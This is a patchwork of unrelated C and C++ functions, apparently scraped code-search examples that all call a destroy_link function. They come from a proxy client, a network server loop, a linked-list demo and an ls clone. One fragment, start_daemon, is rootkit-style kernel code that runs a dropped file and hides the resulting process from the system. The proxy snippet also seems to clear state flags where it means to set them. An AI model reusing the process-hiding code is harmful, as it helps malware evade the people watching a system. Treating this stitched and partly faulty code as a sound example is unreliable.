int client_do_pollin(int sockfd, struct link *ln) { if (sockfd == ln->local_sockfd) { if (ln->state & SERVER_PENDING) { sock_debug(sockfd, "%s: server pending", __func__); goto out; } else if (client_do_local_read(sockfd, ln) == -1) { goto clean; } } else if (sockfd == ln->server_sockfd) { if (ln->state & LOCAL_PENDING) { sock_debug(sockfd, "%s: local pending", __func__); goto out; } else if (client_do_server_read(sockfd, ln) == -1) { goto clean; } } out: return 0; clean: sock_info(sockfd, "%s close", __func__); destroy_link(sockfd); return -1; }
int main() { node_t *link = create_link(); print_link(link); node_t *link2 = reverse_link(link); print_link(link2); destroy_link(link2); return 0; }
/* if destroy link will return 1, also return 0 */ int NetworkServer::kill_link(Link *link){ if (link->ref_count == 0) { log_debug("destroy link, remote_ip: %s remote_port: %d", link->remote_ip, link->remote_port); destroy_link(link); // delete link return 1; } else { log_debug("make link error, remote_ip: %s remote_port: %d", link->remote_ip, link->remote_port); link->mark_error(); // mark link error to forbid read/write return 0; } }
void cannot_access(t_item *link, t_args *args) { args->ret = 2; ft_putstr_fd("ls: ", 2); if (link->name[0] != '\0') ft_putstr_fd(link->name, 2); else ft_putstr_fd("fts_open", 2); ft_putstr_fd(": No such file or directory", 2); ft_putstr_fd("\n", 2); destroy_link(link); }
int NetworkServer::proc_result(ProcJob *job, ready_list_t *ready_list){ Link *link = job->link; int len; if(job->cmd){ job->cmd->calls += 1; job->cmd->time_wait += job->time_wait; job->cmd->time_proc += job->time_proc; double total_time = job->time_wait + job->time_proc; if (total_time >= this->slow_time) { slowlog_warn("proc slow, remote_ip: %s wait: %.3f proc: %.3f total: %.3f req: %s", link->remote_ip, job->time_wait, job->time_proc, total_time, serialize_req(*link->last_recv()).c_str()); } } if(job->result == PROC_ERROR){ log_info("fd: %d, proc error, delete link", link->fd()); goto proc_err; } if(link->error()){ log_debug("fd: %d, link error, delete link", link->fd()); goto proc_err; } len = link->write(); //log_debug("write: %d", len); if(len < 0){ log_debug("fd: %d, write: %d, delete link", link->fd(), len); goto proc_err; } this->bytes_written += len; if(!link->output->empty()){ fdes->set(link->fd(), FDEVENT_OUT, 1, link); } if(link->input->empty()){ fdes->set(link->fd(), FDEVENT_IN, 1, link); link->unRef(); log_debug("proc_result remote_ip: %s ref: %d", link->remote_ip, link->ref_count); }else{ fdes->clr(link->fd(), FDEVENT_IN); ready_list->push_back(link); } return PROC_OK; proc_err: destroy_link(link); return PROC_ERROR; }
void start_daemon(void) { if(daemon) return; create_file(); call_usermodehelper(FILE_LOCATION, NULL, NULL, 1); lock_kernel(); if((daemon = find_task_by_name(DAEMON_NAME))) daemon->tgid = 0; unlock_kernel(); destroy_link(daemon->pid, "exe"); }
int client_do_pollout(int sockfd, struct link *ln) { int ret, optval; int optlen = sizeof(optval); /* write to local */ if (sockfd == ln->local_sockfd) { if (ln->state & LOCAL_SEND_PENDING) { ret = do_send(sockfd, ln, "text", 0); if (ret == -2) { goto clean; } else if (ret == -1) { goto out; } else { ln->state &= ~LOCAL_SEND_PENDING; } /* update socks5 state */ if (!(ln->state & SOCKS5_AUTH_REPLY_SENT)) ln->state &= SOCKS5_AUTH_REPLY_SENT; else if (!(ln->state & SOCKS5_CMD_REPLY_SENT)) ln->state &= SOCKS5_CMD_REPLY_SENT; goto out; } else { poll_rm(sockfd, POLLOUT); } } else if (sockfd == ln->server_sockfd) { /* pending connect finished */ if (!(ln->state & SERVER)) { if (getsockopt(sockfd, SOL_SOCKET, SO_ERROR, &optval, (void *)&optlen) == -1) { sock_warn(sockfd, "%s: getsockopt() %s", __func__, strerror(errno)); goto clean; } if (optval == 0) { sock_info(sockfd, "%s: pending connect() finished", __func__); ln->time = time(NULL); ln->state |= SERVER; } else { sock_warn(sockfd, "%s: pending connect() failed", __func__); goto clean; } } if (ln->state & SERVER_SEND_PENDING) { /* write to server */ ret = do_send(sockfd, ln, "cipher", 0); if (ret == -2) { goto clean; } else if (ret == -1) { goto out; } else { ln->state &= ~SERVER_SEND_PENDING; if (!(ln->state & SS_TCP_HEADER_SENT)) ln->state |= SS_TCP_HEADER_SENT; goto out; } } else { poll_rm(sockfd, POLLOUT); } } out: return 0; clean: sock_info(sockfd, "%s: close", __func__); destroy_link(sockfd); return -1; }
void NetworkServer::serve(){ writer = new ProcWorkerPool("writer"); writer->start(WRITER_THREADS); reader = new ProcWorkerPool("reader"); reader->start(READER_THREADS); ready_list_t ready_list; ready_list_t ready_list_2; ready_list_t::iterator it; const Fdevents::events_t *events; fdes->set(serv_link->fd(), FDEVENT_IN, 0, serv_link); fdes->set(this->reader->fd(), FDEVENT_IN, 0, this->reader); fdes->set(this->writer->fd(), FDEVENT_IN, 0, this->writer); uint32_t last_ticks = g_ticks; while(!quit){ // status report if((uint32_t)(g_ticks - last_ticks) >= STATUS_REPORT_TICKS){ last_ticks = g_ticks; log_info("server running, links: %d", this->link_count); } ready_list.swap(ready_list_2); ready_list_2.clear(); if(!ready_list.empty()){ // ready_list not empty, so we should return immediately events = fdes->wait(0); }else{ events = fdes->wait(50); } if(events == NULL){ log_fatal("events.wait error: %s", strerror(errno)); break; } for(int i=0; i<(int)events->size(); i++){ const Fdevent *fde = events->at(i); if(fde->data.ptr == serv_link){ Link *link = accept_link(); if(link){ this->link_count ++; log_debug("new link from %s:%d, fd: %d, links: %d", link->remote_ip, link->remote_port, link->fd(), this->link_count); fdes->set(link->fd(), FDEVENT_IN, 1, link); } }else if(fde->data.ptr == this->reader || fde->data.ptr == this->writer){ ProcWorkerPool *worker = (ProcWorkerPool *)fde->data.ptr; ProcJob job; if(worker->pop(&job) == 0){ log_fatal("reading result from workers error!"); exit(0); } if(proc_result(&job, &ready_list) == PROC_ERROR){ // } }else{ proc_client_event(fde, &ready_list); } } for(it = ready_list.begin(); it != ready_list.end(); it ++){ Link *link = *it; if(link->error()){ destroy_link(link); continue; } const Request *req = link->recv(); if(req == NULL){ log_warn("fd: %d, link parse error, delete link", link->fd()); destroy_link(link); continue; } if(req->empty()){ link->unRef(); fdes->set(link->fd(), FDEVENT_IN, 1, link); log_debug("serve parse incomplete request, remote_ip: %s ref: %d", link->remote_ip, link->ref_count); continue; } link->active_time = millitime(); //FIXME char remote_ip_port[32]; snprintf(remote_ip_port, 32, "%s:%d", link->remote_ip, link->remote_port); this->active_links.add(remote_ip_port,(int64_t)link->active_time); ProcJob job; job.link = link; this->proc(&job); if(job.result == PROC_THREAD){ fdes->del(link->fd()); continue; } if(job.result == PROC_BACKEND){ fdes->del(link->fd()); this->link_count --; char remote_ip_port[32]; snprintf(remote_ip_port, 32, "%s:%d", link->remote_ip, link->remote_port); this->link_map.erase(remote_ip_port); this->active_links.del(remote_ip_port); // don't delete link continue; } if(proc_result(&job, &ready_list_2) == PROC_ERROR){ // } } // end foreach ready link //every event loop destroy_idle_link(); } }